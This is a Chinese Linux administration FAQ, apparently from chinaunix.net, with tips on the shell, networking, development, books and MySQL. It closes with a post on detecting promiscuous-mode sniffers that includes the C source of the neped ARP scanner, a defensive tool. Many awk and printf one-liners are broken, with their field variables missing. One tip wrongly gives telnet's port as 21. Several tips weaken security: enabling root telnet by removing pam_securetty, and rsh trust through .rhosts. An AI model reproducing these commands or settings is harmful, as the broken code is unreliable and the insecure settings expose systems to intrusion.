y),把光标移到要粘贴地方的上一行,按p,刚才那行文本就会被插入到光标所在行的下一行,原来光标所在行后面所有行会自动下移一行。复制粘贴多行文本:跟复制一行差不多,只是yy改成先输入要复制的行数紧接着按yy,后面的操作一样。把光标移到指定行:输入:和行号并回车,比如移到123行:123回车,移到结尾:$回车。
0097 linux文本界面下如何关闭pc喇叭(labrun) 将/etc/inputrc中的set bell-style none 前的#去掉,或echo "set bell-style none" >> ~/.bashrc
0098 重装windows导致linux不能引导的解决办法(好好先生) 如果没有重新分区,拿linux启动盘(或者第一张安装光盘)引导,进入rescue模式。首先找到原来的/分区mount在什么地方。 redhat通常是/mnt/sysimage. 执行"chroot /mnt/sysimage". 如果是grub,输入grub-install /dev/hd*(根据实际情况);如果是lilo,输入lilo -v,然后重新启动。如果分区有所改变,对应修改/etc/lilo.conf和/boot/grub/grub.conf然后再执行上述命令。
0099 为什么装了LINUX后win2K很慢(lnx3000,好好先生) 老问题了,你在2000是不是能看见Linux的逻辑盘,但不能访问? 在磁盘管理里,选中这个盘,右击->更改"驱动器名和路径"->"删除"就可以了,注意不是删除这个盘!
0100 将linux发布版的iso文件刻录到光盘的方法(bjchenxu) 借用windows中的nero软件,选择映象文件刻录,选择iso文件,刻录即可!
0101 linux中刻录iso的方法(hutuworm) 方法一:使用xcdroast,选择制作光碟,选择ISO文件,刻录! 参见http://www.xcdroast.org/xcdr098/faq-a15.html#17 方法二:找刻录机的命令: cdrecord --scanbus 输出结果为: 0,0,0 0) 'ATAPI ' 'CD-R/RW 8X4X32 ' '5.EZ' Removable CD-ROM 刻录的命令: cdrecord -v speed=8 dev=0,0,0 hutuworm.iso
0102 屏幕变花时怎么办(双眼皮的猪) 当您一不小心cat了一个并不是文本的文件的时候,这时屏幕会变花,那么您可以按两下"Enter"键,再敲"reset",那么屏幕就恢复正常了....
0103 卸载软件包时如何得知具体包名(diablocom) 大家知道删除软件包的命令是rpm -e XXX,但是当我们不知道这个XXX的确切拼写时,可以用rpm -q -a查询所有安装的软件包或者用rpm -qa |grep xxxx查询出名字
0104 使用内存作linux下的/tmp文件夹(yulc) 在/etc/fstab中加入一行: none /tmp tmpfs default 0 0 或者在/etc/rc.local中加入 mount tmpfs /tmp -t tmpfs -o size=128m 注:size=128m 表示/tmp最大能用128m 不管哪种方式,只要linux重启,/tmp下的文件全部消失
0105 用ls只列出目录(yulc) ls -lF | grep ^d ls -lF | grep /$ ls -F | grep /$
0106 在命令行下列出本机IP地址,而不是得到网卡信息(yulc) ifconfig |grep "inet" |cut -c 0-36|sed -e 's/[a-zA-Z: ]//g' hostname -i
0107 修改/etc/profile或者$HOME/.profile文件后如何立即生效(peter333) #source /etc/profile (或者source .profile)
0108 bg和fg的使用(bjchenxu) 输入ctrl+z,当前一个任务会被挂起并暂停, 同时屏幕上返回进程号,此时用 "bg %进程号",会把这个进程放到后台执行,而用" fg %进程号 "就能让这个进程放到前台来执行。另外,job命令用来查看当前的被bg的进程
0109 ctrl+s与ctrl+q(bjchenxu) ctrl-s用来暂停向终端发送数据的,屏幕就象死了一样,可以用ctrl-q来恢复
0110 目录统计脚本(bjchenxu) 保存成total.sh,然后用total.sh 绝对路径,就能统计路径下目录的大小了 代码: #!/bin/sh du --max-depth=1 | sort -n|awk '{printf "%7.2fM ----> %sn",/1024,}'|sed 's:/.*/([^/])$:1:g'
0111 grep不显示本身进程(bjchenxu) #ps -aux|grep httpd|grep -v grep grep -v grep可以取消显示你所执行的grep本身这个进程,-v参数是不显示所列出的进程名
0112 删除目录中含输入关键字的文件(WongMokin) find /mnt/ebook/ -type f -exec grep "在此输入关键字" {} ; -print -exec rm {} ;
0113 让cron中的任务不回馈信息, 本例5分钟检查一次邮件(WongMokin) 0-59/5 * * * * /usr/local/bin/fetchmail > /dev/null 2>&1
0114 在当前目录下解压rpm文件(bjchenxu) cat kernel-ntfs-2.4.20-8.i686.rpm | rpm2cpio | pax -r
0115 合并两个Postscript或PDF文件(noclouds) $ gs -q -dNOPAUSE -dBATCH -sDEVICE=pswrite -sOutputFile=bar.ps -f foo1.ps foo2.ps $ gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=bar.pdf -f foo1.pdf foo2.pdf
0116 去掉apache的manual目录中的所有.en的后缀名(bjchenxu) 进入到manual目录 代码:find ./ -regex .*.en|awk -F. '{ printf "mv %s.%s.%s.%s %s.%s.%sn",,,,,,,}'|sh
0117 如何起多个X(noclouds) startx默认以display :0.0起第一个X,通过传递参数给Xserver可以起多个X: # startx -- :1.0 # startx -- :2.0 ... 然后用Ctrl-Alt-F7/F8...切换。
0118 让一个程序在退出登陆后继续运行(noclouds,bjchenxu) # <cmd> # disown 或者是 nohup command &
0119 看Linux启动时屏幕的显示信息(bjchenxu) 在启动完后用命令dmesg查看
0120 让vi不响铃(sakulagi) echo "set vb t_vb=" >> ~/.vimrc
0121 让fedora开机后自动login(dzho002) 1) rpm -ihv autologin-1.0.0-7mdk.i586 rpm 2) 建立文件 /etc/sysconfig/autologin 在里面加上一行. USER = root
0122 如何配置让哪些服务启动(天外闲云,q1208c) 方法1 运行ntsysv或者setup命令,进入菜单进行配置 方法2 chkconfig --list 显示服务 chkconfig name on/off 打开/关闭“name”服务
0123 安全删除linux(天外闲云) 步骤1 Dos下使用fdisk /mbr或者用win2000/xp的光盘启动进入故障恢复控制台,使用命令fixmbr 步骤2 格式化linux分区为windows分区即可。
0124 用grub引导进文本界面(天外闲云) 进入grub之后,按a,输入 空格 3 就可以引导进入文本界面,但是不修改系统的运行级,只在当次有效。
0125 先测试patch是否运行正常,暂不将更改应用到kernel(jiadingjun) patch --dry-run ----------------------------网络相关篇-------------------------- 0001 让apache的默认字符集变为中文(bjchenxu) 如果是1.*,vi httpd.conf 找到 AddDefaultCharset ISO8859-1 一行,改为AddDefaultCharset GB2312 如果是2.*的话,需要改动一个地方,vi httpd.conf AddDefaultCharset ISO-8859-1 改为 AddDefaultCharset off
0002 永久更改ip(bjchenxu) ifconfig eth0 新ip 然后编辑/etc/sysconfig/network-scripts/ifcfg-eth0,修改ip
0003 从Linux上远程显示Windows桌面(lnx3000) 安装rdesktop包
0004 手动添加默认网关(bjchenxu) 以root用户,执行: route add default gw 网关的IP 想更改网关 1 vi /etc/sysconfig/network-scripts/ifcfg-eth0 更改GATEWAY 2 /etc/init.d/network restart
0005 redhat 8.0上msn和qq(bjchenxu) 下载Gaim 0.58版: gaim-0.58-2.i386.rpm 下载QQ插件 for gcc2.9版: libqq-0.0.3-ft-0.58-gcc296.so.gz 将下载的文件放入/temp目录,然后将系统中已有的Gaim删除,即在终端仿真器中键入命令:rpm -e gaim。 开始安装 打开终端仿真器,继续执行下列命令安装Gaim 0.58版,即: cd /temp (进入temp目录) rpm -ivh gaim-0.58-2.i386.rpm (安装软件) 当安装成功后,你就可以在GNOME或KDE桌面建立Gaim图标了。 继续安装QQ插件,即键入命令: gunzip libqq-0.0.3-ft-0.58-gcc296.so.gz (解压缩文件) cp libqq-0.0.3-ft-0.58-gcc296.so /usr/lib/gaim (复制插件到gaim库目录中) 软件设置 首次启动Gaim 0.85版时,会出现的登录界面。先选择“插件”,在插件对话框中点击“加载”,分别将libmsn.so和libqq-0.0.3-ft-0.58- gcc296.so文件装入,确认后关闭。然后再选择“所有帐号”,在出现的帐号编辑器中继续点击“增加”,当出现的修改帐号页面时,我们就可以输入自己的QQ或MSN号了,登录名填写QQ号码或MSN邮箱,密码填写对应的QQ或MSN密码,Alias填写自己的昵称,协议选择相应的QQ或MSN,其他的设置按默认的即可。当全部设置完成后就可以登录使用了。 由于MS对msn的协议经常升级,导致linux上的gaim和msn插件必须升级,目前尚无万无一失的解决方案,请见谅
0006 查出22端口现在运行什么程序(bjchenxu) lsof -i :22
0007 查看本机的IP,gateway, dns(bjchenxu) IP: 以root用户登录,执行ifconfig。其中eth0是第一块网卡,lo是默认的设备 Gateway: 以root用户登录,执行netstat -rn,以0.0.0.0开头的一行的Gateway即为默认网关 也可以查看/etc/sysconfig/network文件,里面有指定的地址! DNS: more /etc/resolv.conf,内容指定如下: nameserver 202.96.69.38 nameserver 202.96.64.38
0008 RH8.0命令行下轻松改变ping 的TTL值(cgweb) #sysctl -w net.ipv4.ip_default_ttl=N (N=0~255),若N>255,则ttl=0
0009 RH8.0命令行下轻松改变系统配置默认值(houaq)
编辑/etc/sysctl.conf, 例如,将 net.ipv4.ip_forward = 0 变为 net.ipv4.ip_forward = 1 重启后生效,用sysctl -a查看可知
0010 mount局域网上其他windows机器共享出的目录(bjchenxu) mount -t smbfs -o username=guest,password=guest //machine/path /mnt/cdrom
0011 允许|禁止root通过SSH登陆(Fun-FreeBSD) 修改sshd_config:PermitRootLogin no|yes
0012 让root直接telnet登陆(bjchenxu) 编辑/etc/pam.d/login,去掉 auth required /lib/security/pam_securetty.so 这句话
0013 在linux接adsl设备(wind521) 需要一个运转正常的Linux + 至少一块网卡 + 宽带设备已经申请完毕,同时已经开通。目前市场上大概有几种ADSL设备,他们工作的方式有一些细微的差别。 就是通过虚拟拨号来完成上网的这一过程,也就是利用pppoe设备来进行虚拟拨号的叫作全向猫,就是一种加电后自动的进行拨号的工作,然后留给我们的接口是RJ45,大连地区一般留给我们的网关都是10.0.0.2,这种设备最容易对付,最后是直接分配给用户一个固定的IP,相对大家来说也比较容易对付 1.第一种需要进行拨号: 这几种设备都是通过eth接口与计算机进行通讯的,所以先将硬件设备的连接作好,尤其是宽带猫的,一定要确认无误(否则一会儿要不去可不算我的事情) 然后启动系统,确认系统上是否安装rp-pppoe这个软件(通过rpm -qa|grep pppoe来查找),如没有安装的用户,在光盘里或是到网上去down一个来,安装上后,以root用户执行adsl-setup,这样就进入了adsl 的资料的设定状态,要求输入申请宽带的用户名以及其他一些信息,确认没有问题,接受直至最后(里面都是E文,但是一看即能懂,比较简单,有关一个防火墙的设置,我一般都不用,选0,大家可以具体考虑)。 配置完成后,以root用户执行adsl-start,这样将进行adsl的拨号工作,正常就会一下上线,如有什么具体问题,去看一下日志(/var/log/messages)里面告诉你什么了。 停掉adsl,执行adsl-stop就可以了(很简单的) 2.另外两种比较容易对付: 全向猫:只要将你的网卡的IP设置成一个10网段的IP,然后网关指到全向猫的IP,上(10.0.0.2),基本上不有太大的问题 固定IP:就像配置本地儿的网卡一样,将IP,网关,DNS都按申请来的填写上就可以搞定了
0014 让linux自动同步时间(shunz) vi /etc/crontab 加上一句: 00 0 1 * * root rdate -s time.nist.gov
0015 linux的网上资源有哪些(bjchenxu) 国外 http://lwn.net/ http://www.tldp.org/ http://www.yolinux.com/(flying-dance big big pig) http://www.justlinux.com/ http://www.linuxtoday.com/ http://www.linuxquestions.org/ http://www.fokus.gmd.de/linux/ http://www.linux-tutorial.info/ http://public.www.planetmirror.com/ http://www.freebsdforums.org/forums/ http://www.netfilter.org/documentation/ http://www-106.ibm.com/developerworks/linux/
国内 http://www.fanqiang.com/ http://www.linuxsir.com/ http://www.chinaunix.net/ http://www.linuxfans.org/(deadcat) http://www.linuxeden.com/ http://www.linuxforum.net/ http://www.linuxaid.com.cn/ http://freesoft.online.sh.cn/ http://www-900.ibm.com/developerWorks/cn/linux/index.shtml http://www.neweasier.com/software.html http://www.blueidea.com/bbs/archivecontent.asp?id=635906%28sqh%29 http://westlinux.ywzc.net/(onesun)
0016 改变sshd的端口(bjchenxu) 在/etc/ssh/sshd_config中加入一行:Port 2222,/etc/init.d/sshd restart重启守护进程
0017 改变telnet的端口(bjchenxu) 将/etc/services文件中telnet对应的端口号21改为你想要的值,/etc/init.d/xinetd restart重启守护进程
0018 终端模式有问题(sakulagi) export TERM=vt100
0019 模仿超级终端,LINUX里什么程序连接路由器和交换机(alstone) minicom
0020 ssh上来能不能不自动断线(wind521) 那是timetou的设置,修改TMOUT变量值
0021 用什么工具做入侵检测(bjchenxu) snort
0022 Linux下检测程序内存泄漏的工具(bjchenxu) cchecker或是efence库都可以
0023 linux下如何监视所有通过本机网卡的数据(bjchenxu) tcpdump iptraf
0024 为什么root执行好多命令都说command not found(bjchenxu) 你是telnet上来,然后su成root的吧,改改你的su命令格式,应该是su - root
0025 关闭用户的POP3权限(tiansgx) 把POP3的端口关了就可以了。 在文件/etc/services中找到这一行 pop-3 110/tcp 把这一行前加个'#',把它注释掉就可以了。
0026 linux下播放flash动画(myxfc) linux下播放flash动画用这个东西,不会造成浏览器的关闭(其他的插件不好用) 首先下载flash播放动画在linux的插件 http://www.collaborium.org/onsite/jos2000/related/soft/flash_linux.tar.gz tar zxvf flash_linux.tar.gz 打开包之后,会看到Linux文件夹 在linux文件颊里有两个文件libflashplayer.so 和shockwaveflash.class,把这两个文件拷贝到你的浏览器里的插件里(浏览器不一样,插件的位置可能也不一样) /usr/lib/mozilla-1.0.1/plugins,就可以了
0027 锁定wu-ftp用户目录(wangla) 编辑ftpaccess文件 restricted-uid * 这一句很重要,限制了ftp用户在自己的目录里。
0028 服务器怎么不让telnet(知秋一叶) 服务器上必须启动telnet服务 && 服务器的防火墙优先级应该设为低
0029 防止任何人使用su命令成为root(xiaohu0) 1.vi /etc/pam.d/su auth sufficient /lib/security/pam_rootok.so debug auth required /lib/security/pam_wheel.so group=wheel 2.在/etc/pam. d/su配置文件中定义了wheel组.
0030 如何使lynx浏览器能够浏览中文网页(Ghost_Vale) 浏览简体中文网页就的修改如下设置 Save options to disk: [X] Display and Character Set Display character set : [Chinese________________________] Assumed document character set(!): [iso-8859-1______] CJK mode (!) : [ON_] 然后移到最下面的 Accept Changes 按下 Enter 保存就可以了 当然你的系统要支持简体中文才可以
0031 网卡激活了,却上不了网,怎么办?(Slock) trace一下,看看到底是在那一块被阻住的。 1.Ping自己 2.Ping网关 3.Ping DNS 4.trace DNS If All=ok then nslookup http://www.sina.com.cn/ Ping sina's address Tra sina' address 基本上就可以知道结果了
0032 在redhat9下配samba,win2000能访问,win98不能访问?(squall2003) 如果是wind98必需修改注册表:HKEY_LOCAL_MACHINE/system/correntcontrolset/services/Vxd/VNETSUP下建个D值:EnablePlainTextpasswd,键值1
0033 如何得到网卡的MAC地址(bjchenxu,hutuworm) arp -a | awk '{print }' ifconfig eth0 | head -1 | awk '{print }'
0034 如何得到网卡的IP地址(mb) ifconfig eth0 |awk '/inet addr/ {split(,x,":");print x[2]}'
0035 如何修改Linux机器所在的工作组(hutuworm) vi /etc/samba/smb.conf,修改workgroup = 一行,将组名写在后面。
0036 一块网卡如何绑定两个ip(linuxloveu) #cd /etc/sysconfig/network-scripts #cp ifcfg-eth0 ifcfg-eth0:1 #vi ifcfg-eth0:1 修改IP和设备名 Debian下一个网卡绑定多个ip的方法(NetDC) 修改/etc/network/interfaces auto eth0 iface eth0 inet static address 172.16.3.123 netmask 255.255.255.0 network 172.16.3.0 broadcast 172.16.3.255 gateway 172.16.3.1
auto eth0:1 iface eth0:1 inet static address 10.16.3.123 netmask 255.255.0.0 network 10.16.0.0 broadcast 10.16.255.255 修改/etc/network/ifstate lo=lo eth0=eth0 eth0:1=eth0:1 然后/etc/init.d/networking restart就可以了。
0037 一个ip如何绑定两块网卡(hutuworm) 假设192.168.0.88是ip,192.168.0.1是网关: /sbin/modprobe bonding miimon=100 mode=1 /sbin/ifdown eth0 /sbin/ifdown eth1 /sbin/ifconfig bond0 192.168.0.88 /sbin/ifenslave bond0 eth0 eth1 /sbin/route add default gw 192.168.0.1
0038 192.168.1.0/24(双眼皮的猪) 它与192.168.1.0/255.255.255.0是等价的,只是表示方式不同....
0039 linux下清空arp表的命令(NetDC) #arp -d -a(适用于bsd) for HOST in `arp | sed '/Address/d' | awk '{ print }'` ; do arp -d $HOST; done
0040 使用ntp协议从服务器同步时间(NetDC) ntpdate NTP-SERVER 例:ntpdate 172.16.2.1
0041 host命令的用法(bjchenxu) host能够用来查询域名,它还能得到更多的信息 host -t mx example.com可以查询出example.com的MX记录,以及处理mail的host的名字 host -l example.com会返回所有注册在example.com下的域名 host -a example.com则会显示这个主机的所有域名信息.
0042 立刻让LINUX支持NAT(platinum) echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -I POSTROUTING -j MASQUERADE
0043 rh8.0下rcp的用法设置(zhqh1) 只对root用户生效 1、在双方root用户根目录下建立.rhosts文件,并将双方的hostname加进去.在此之前应在双方的/etc/hosts文件中加入对方的IP和hostname 2、把rsh服务启动起来,redhat默认是不启动的。方法:用执行ntsysv命令,在rsh选项前用空格键选中,确定退出。 然后执行:service xinetd restart即可。 3、到/etc/pam.d/目录下,把rsh文件中的auth required /lib/security/pam_securetty.so一行用“#”封掉即可。
0044 在ethX设备上,使LINUX支持网络广播功能(默认是不支持的)(platinum) ip route add 255.255.255.255 dev ethX
----------------------------程序开发篇-------------------------- 0001 linux下调试core文件(bjchenxu) gdb <progname> <core> <progname>:出错产生core dump的可执行程序。 <core>: core dump的文件名,缺省是“core”
0002 gcc abc.c得到的a.out不能运行(bjchenxu) ./a.out
0003 c++ 编译时为什么出错信息说cout没定义(bjchenxu) include头文件完后加入 using namespace std;
0004 新编译生成的gcc ,使用的标准连接库都在/usr/local/lib 下了,但使用的缺省的连接路径是 /usr/lib 怎样添加?(除了在每次编译时 增加 -L /usr/local/lib 以外)(sakulagi, hutuworm) export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib 写到~/.bash_profile里面。 增加一种简便办法: 将/usr/local/lib加入/etc/ld.so.conf,然后运行一次ldconfig
0005 RH9下GCC的安装(一起走过的日子,hutuworm) 三种方法选一: (1)利用CD上rpm安装 CD-1:compat-gcc-7.3-2.96.118.i386.rpm CD-1:compat-gcc-c++-7.3-2.96.118.i386.rpm CD-1:libgcc-3.2.2-5.i386.rpm CD-2:compat-gcc-g77-7.3-2.96.118.i386.rpm CD-2:compat-gcc-java-7.3-2.96.118.i386.rpm CD-2:compat-gcc-objc-7.3-2.96.118.i386.rpm CD-2:gcc-3.2.2-5.i386.rpm CD-2:gcc-c++-3.2.2-5.i386.rpm CD-2:gcc-g77-3.2.2-5.i386.rpm CD-2:gcc-gnat-3.2.2-5.i386.rpm CD-2:gcc-java-3.2.2-5.i386.rpm CD-2:gcc-objc-3.2.2-5.i386.rpm 比如碰到系统提示: warning : gcc-3.2.2-5.i386.rpm : V3 DSA signature :MOKEY key ID db42a60e error : Failed dependencies : binutils >=2.13.90.0.18-9 is needed by gcc-3.2.2-5 glibc-devel >=2.3.2-11.9 is needed by gcc-3.2.2-5... 就先安裝glibc-devel包,依此类推 (2)更好的方法就是在X-window下选“主菜单”──>“系统设置”──>“添加/删除应用程序”──>“开发工具”中的gcc并安装它 (3) up2date gcc便可自动解决dependency问题
----------------------------经典图书篇-------------------------- 0001 GNU/Linux高级网络应用服务指南(bjchenxu) linuxaid网站 机械工业出版社 优点:又全又精,全都是实战之作 缺点:针对版本较低,为redhat 6.2
0002 Linux Apache Web Server管理指南(Linux Apache Web Server Administration)(bjchenxu) Charles Aulds 马树奇/金燕译 电子工业出版社 优点:目前我还没有发现哪个关于apache的问题这本书没有讲过 缺点:针对1.3.x,最新的针对2.0.*的英文版已出,中文版待出
0003 Linux内核情景分析(bjchenxu) 毛德操/胡希明 浙江大学出版社 优点:太透彻了,没法不懂 缺点:还是版本问题,内核更新太快了,不过还是必读
0004 Unix环境高级编程(bjchenxu) Richard Stevens 机械工业出版社 优点:博大精深 缺点:初学者是很难理解的,否则怎么叫《高级编程》呢?
0005 编程精粹--Microsoft编写优质无错c程序秘诀(bjchenxu) Steve Maguire 电子工业出版社 优点:不说了,作者是微软的资深工程师 缺点:很难找了,1994年出的
0006 Understanding the Linux Kernel, 2nd Edition(hutuworm) Daniel P. Bovet & Marco Cesati O'Reilly出版社 读了这本书之后,你就会明白在什么情况下Linux具有最佳的性能,以及它如何面对挑战,在各种环境中提供进程调度、文件访问和内存管理时的优良的系统响应。作者通过解释其重要性来引入每一个题目,并将内核操作与Unix程序员和用户熟悉的系统调用或实用程序联系起来。
0007 UNIX操作系统教程(英文版)(弱智) Syed Mansoor Sarwar等 机械工业出版社 特点:浅显易懂,着重unix基础概念和整体理解,顺便复习英语。 另外:机械工业出版社已经出版了中文版,名称:UNIX 教程
0008 UNIX编程环境(弱智) Brian W.Kernighan, Rob Pike 陈向群等译 机械工业出版社 特点:浅显,深入浅出讲解如何使用UNIX及各种工具,简单介绍Unix编程环境;对比“UNIX环境高级编程”,此书适合新手入门。
0009 The Art of UNIX Programming(hutuworm) Eric Steven Raymond http://catb.org/~esr/writings/taoup/html/ 优点: E.S. Raymond的经典著作
0010 unix网络编程--卷一 套接口API和X/Open传输接口API(slg1972) Richard Stevens 清华大学出版社 优点:详细地讲解unix网络的编程
0011 unix网络编程--卷二 进程间通讯(slg1972) Richard Stevens 清华大学出版社 优点:详细讲解unix的进程之间,线程之间的关系,及各种不同标准的进程编程的异同
0012 unix网络编程--卷三 应用程序(slg1972, hutuworm) 未出,因为Richard Stevens大师英年早逝,再也不可能完成这计划中的第三卷了。据说其未竟稿可能由Gary R. Wright整理续写出来,但是自大师驾鹤以来一直杳无音信
0013 基于C++ CORBA高级编程(slg1972) Michi Henning,Steve Vinoski 清华大学出版社 优点:中间件的好书,通向corba应用的必备资料。
0014 unix linux网管通鉴(odin_free) 电子版的,包括本版精华 优点:我见过关于unix知识最全面、最实用的chm文档,相当于一个小型网站,里面支持全文检索,推荐所有还没有的兄弟姐妹们下载
0015 www.chinaoy.com(aomin5555) 不错,挺全的,图书下载的好网址: redhat linux9.0 官方入门指南 ·redhat linux9.0 官方安装指南 ·redhat linux9.0 官方定制设置手册 ·redhat linux基础教程 ·Linux 参考大全 ·清华论坛linux精华 ·Linux系统管理员指南中文手册 ·Linux网站建设和维护全攻略 ·redhat linux8.0 安装手册 ·Linux环境database管理员指南
0016 Linux Advanced Routing & Traffic Control(hutuworm) 专门讲LINUX IPROUTE2的书,大概100页左右,www.lartc.org 中文版在:http://www.lartc.org/LARTC-zh_CN.GB2312.pdf
0017 Debian User强烈推荐看的书(NetDC) Debian Reference (Debian参考手册) http://qref.sourceforge.net/ 简体中文版的pdf文档。 http://qref.sourceforge.net/Debian/reference/reference.zh-cn.pdf
0018 Advanced Bash-Scripting Guide(hutuworm) An in-depth exploration of the art of shell scripting. Mendel Cooper. <thegrendel@theriver.com>. http://www.tldp.org/LDP/abs/abs-guide.pdf 优点:是Bash编程的圣经,而且该书作者不断在更新其内容,一两个月就会翻新一个版本,值得一读,一读再读。
----------------------------mysql相关篇-------------------------- 0001 mysql的数据库存放在什么地方(bjchenxu) 1. 如果使用rpm包安装,应该在/var/lib/mysql目录下,以数据库名为目录名 2. 如果源码安装在/usr/local/mysql中,应该在/usr/local/mysql/var中,以数据库名为目录名
0002 从mysql中导出和导入数据(bjchenxu) 导出数据库 mysqldump 数据库名 > 文件名 导入数据库 mysqladmin create 数据库名 mysql 数据库名 < 文件名
0003 忘了mysql的root口令怎么办(bjchenxu) # service stop mysql # mysqld_safe --skip-grant-tables & # mysqladmin -u user password 'newpassword'' # mysqladmin flush-privileges
-------------------------------杂项篇-------------------------------- 感谢allan0909指正 请不要做浮躁的人 http://www.chinaunix.net/forum/viewtopic.php?t=93113 欢迎转载本文,请注明来自www.chinaunix.net,转载本文的网址如下: a. linuxsir网站 http://www.linuxsir.com/bbs/showthread.php?s=&threadid=46279 b. 阿叶的小屋 http://hylinux.3322.org/showarticle.php?action=showarticle&id=2794 c. csdn http://expert.csdn.net/expert/FAQ/FAQ_Index.asp?id=175651 d. dev-club http://www.dev-club.com/club/bbs/showAnnounce.asp?page=1&id=2175595 e. 聚贤庄 http://www.ncn.cn/linux/2003001.htm f. linux伊甸园 http://www.linuxeden.com/edu/doctext.php?docid=3020 g. 风雨人生技术网 http://www.guomin.net/index.php?showtopic=220 http://www.guomin.net/index.php?showtopic=219 http://www.guomin.net/index.php?showtopic=218
| | November 21 Win9x/NT 正常情况下,就是说不在混乱模式,网卡检测是不是广播地址 要比较看收到的目的以太网址是否等于ff.ff.ff.ff.ff.ff 是则认为是广播地址。 在混乱模式时,网卡检测是不是广播地址只看收到包的目的以太 网址的第一个八位组值,是0xff则认为是广播地址。 利用这点细微差别就可以检测出Sniffer. Linux 以前就提出过,一些版本内核有这种问题: 当混杂模式时,每个包都被传到了操作系统内核以处理。 在处理某些包,只看IP地址而不看以太网头中的源物理地址。 所以: 使用一个不存在的目的MAC,正确的目的IP,受影响 的内核将会由于是混杂模式而处理它,并将之交给相应系统 堆栈处理。从而实现检测Sniffer 总之,只要发一个以太网头中目的地址是ff.00.00.00.00.00 的ARP包(l0pht公司是ff.ff.ff.ff.ff.00)就可以检测出Linux和 Windows网卡处于混乱状态的计算机. 以下是一个Linux下用于检测Linux下Sniffer的程序,很多地方都贴 过了,我只改了一句话,这样也可以检测出Windows机器。:) /* gcc -lbsd -O3 -o linuxanti linuxanti.c */ /* Network Promiscuous Ethernet Detector. Linux 2.0.x / 2.1.x, libc5 & GlibC ----------------------------------------- (c) 1998 savage@apostols.org ----------------------------------------- Scan your subnet, and detect promiscuous Windows & linuxes. It really works, not a joke. ----------------------------------------- $Id: neped.c,v 1.4 1998/07/20 22:31:52 savage Exp $ */ #include #include /* for nonblocking */ #include #include /* basic socket definitions */ #include /* for ifreq */ #include /* inet(3) functions */ #define ETH_P_ARP 0x0806 #define MAX_PACK_LEN 2000 #define ETHER_HEADER_LEN 14 #define ARPREQUEST 1 #define ARPREPLY 2 #define perr(s) fprintf(stderr,s) struct arp_struct { u_char dst_mac[6]; u_char src_mac[6]; u_short pkt_type; u_short hw_type; u_short pro_type; u_char hw_len; u_char pro_len; u_short arp_op; u_char sender_eth[6]; u_char sender_ip[4]; u_char target_eth[6]; u_char target_ip[4]; }; union { u_char full_packet[MAX_PACK_LEN]; struct arp_struct arp_pkt; } a; #define full_packet a.full_packet #define arp_pkt a.arp_pkt char * inetaddr ( u_int32_t ip ) { struct in_addr in; in.s_addr = ip; return inet_ntoa(in); } char * hwaddr (u_char * s) { static char buf[30]; sprintf (buf, "%02X:%02X:%02X:%02X:%02X:%02X", s[0], s[1], s[2], s[3], s[4], s[5]); return buf; } void main (int argc, char **argv) { int rec; int len, from_len, rsflags; struct ifreq if_data; struct sockaddr from; u_int8_t myMAC[6]; u_int32_t myIP, myNETMASK, myBROADCAST, ip, dip, sip; if (getuid () != 0) { perr ("You must be root to run this program!\n"); exit (0); } if (argc != 2) { fprintf(stderr,"Usage: %s eth0\n", argv[0]); exit (0); } if ((rec = socket (AF_INET, SOCK_PACKET, htons (ETH_P_ARP))) < 0) { perror("socket"); exit (0); } printf ("----------------------------------------------------------\n"); strcpy (if_data.ifr_name, argv[1]); if (ioctl (rec, SIOCGIFHWADDR, &if_data) < 0) { perr ("can't get HW addres of my interface!\n"); exit(1); } memcpy (myMAC, if_data.ifr_hwaddr.sa_data, 6); printf ("> My HW Addr: %s\n", hwaddr (myMAC)); if (ioctl (rec, SIOCGIFADDR, &if_data) < 0) { perr ("can't get IP addres of my interface!\n"); exit(1); } memcpy ((void *) &ip, (void *) &if_data.ifr_addr.sa_data + 2, 4); myIP = ntohl (ip); printf ("> My IP Addr: %s\n", inetaddr(ip)); if (ioctl (rec, SIOCGIFNETMASK, &if_data) < 0) perr ("can't get NETMASK addres of my interface!\n"); memcpy ((void *) &ip, (void *) &if_data.ifr_netmask.sa_data + 2, 4); myNETMASK = ntohl (ip); printf ("> My NETMASK: %s\n", inetaddr(ip)); if (ioctl (rec, SIOCGIFBRDADDR, &if_data) < 0) perr ("can't get BROADCAST addres of my interface!\n"); memcpy ((void *) &ip, (void *) &if_data.ifr_broadaddr.sa_data + 2, 4); myBROADCAST = ntohl (ip); printf ("> My BROADCAST: %s\n", inetaddr(ip)); if ((rsflags = fcntl (rec, F_GETFL)) == -1) { perror ("fcntl F_GETFL"); exit (1); } if (fcntl (rec, F_SETFL, rsflags | O_NONBLOCK) == -1) { perror ("fcntl F_SETFL"); exit (1); } printf ("----------------------------------------------------------\n"); printf ("> Scanning ....\n"); for (dip = (myIP & myNETMASK) + 1; dip < myBROADCAST; dip++) { bzero(full_packet, MAX_PACK_LEN); memcpy (arp_pkt.dst_mac, "\255\255\255\255\255\0", 6); /* ff:ff:ff:ff:ff:00 :) */ /* Only change this line! */ memcpy (arp_pkt.src_mac, myMAC, 6); arp_pkt.pkt_type = htons( ETH_P_ARP ); arp_pkt.hw_type = htons( 0x0001 ); arp_pkt.hw_len = 6; arp_pkt.pro_type = htons( 0x0800 ); arp_pkt.pro_len = 4; arp_pkt.arp_op = htons (ARPREQUEST); memcpy (arp_pkt.sender_eth, myMAC, 6); ip = htonl (myIP); memcpy (arp_pkt.sender_ip, &ip, 4); memcpy (arp_pkt.target_eth, "\0\0\0\0\0\0", 6); ip = htonl (dip); memcpy (arp_pkt.target_ip, &ip, 4); strcpy(from.sa_data, argv[1]); from.sa_family = 1; if( sendto (rec, full_packet, sizeof (struct arp_struct), 0, &from, sizeof(from)) < 0) perror ("sendto"); usleep (50); len = recvfrom (rec, full_packet, MAX_PACK_LEN, 0, &from, &from_len); if (len <= ETHER_HEADER_LEN) continue; memcpy (&ip, arp_pkt.target_ip, 4); memcpy (&sip, arp_pkt.sender_ip, 4); if (ntohs (arp_pkt.arp_op) == ARPREPLY && ntohl (ip) == myIP && ( dip - ntohl(sip) >= 0 ) && ( dip - ntohl(sip) <= 2 ) ) { printf ("*> Host %s, %s **** Promiscuous mode detected !!!\n", inetaddr (sip), hwaddr (arp_pkt.sender_eth)); } } printf ("> End.\n"); exit (0); }
Sniffer Scaner
Ace Studio , 1999. (AceStudio@hotmail.com)
运行环境:Win95/98,无需Winsock
本程序可以检测出本网络内正在运行Sniffer的计算机,或者说 网卡处于混乱状态。对方的操作系统可以是Win95/98/NT,Linux。
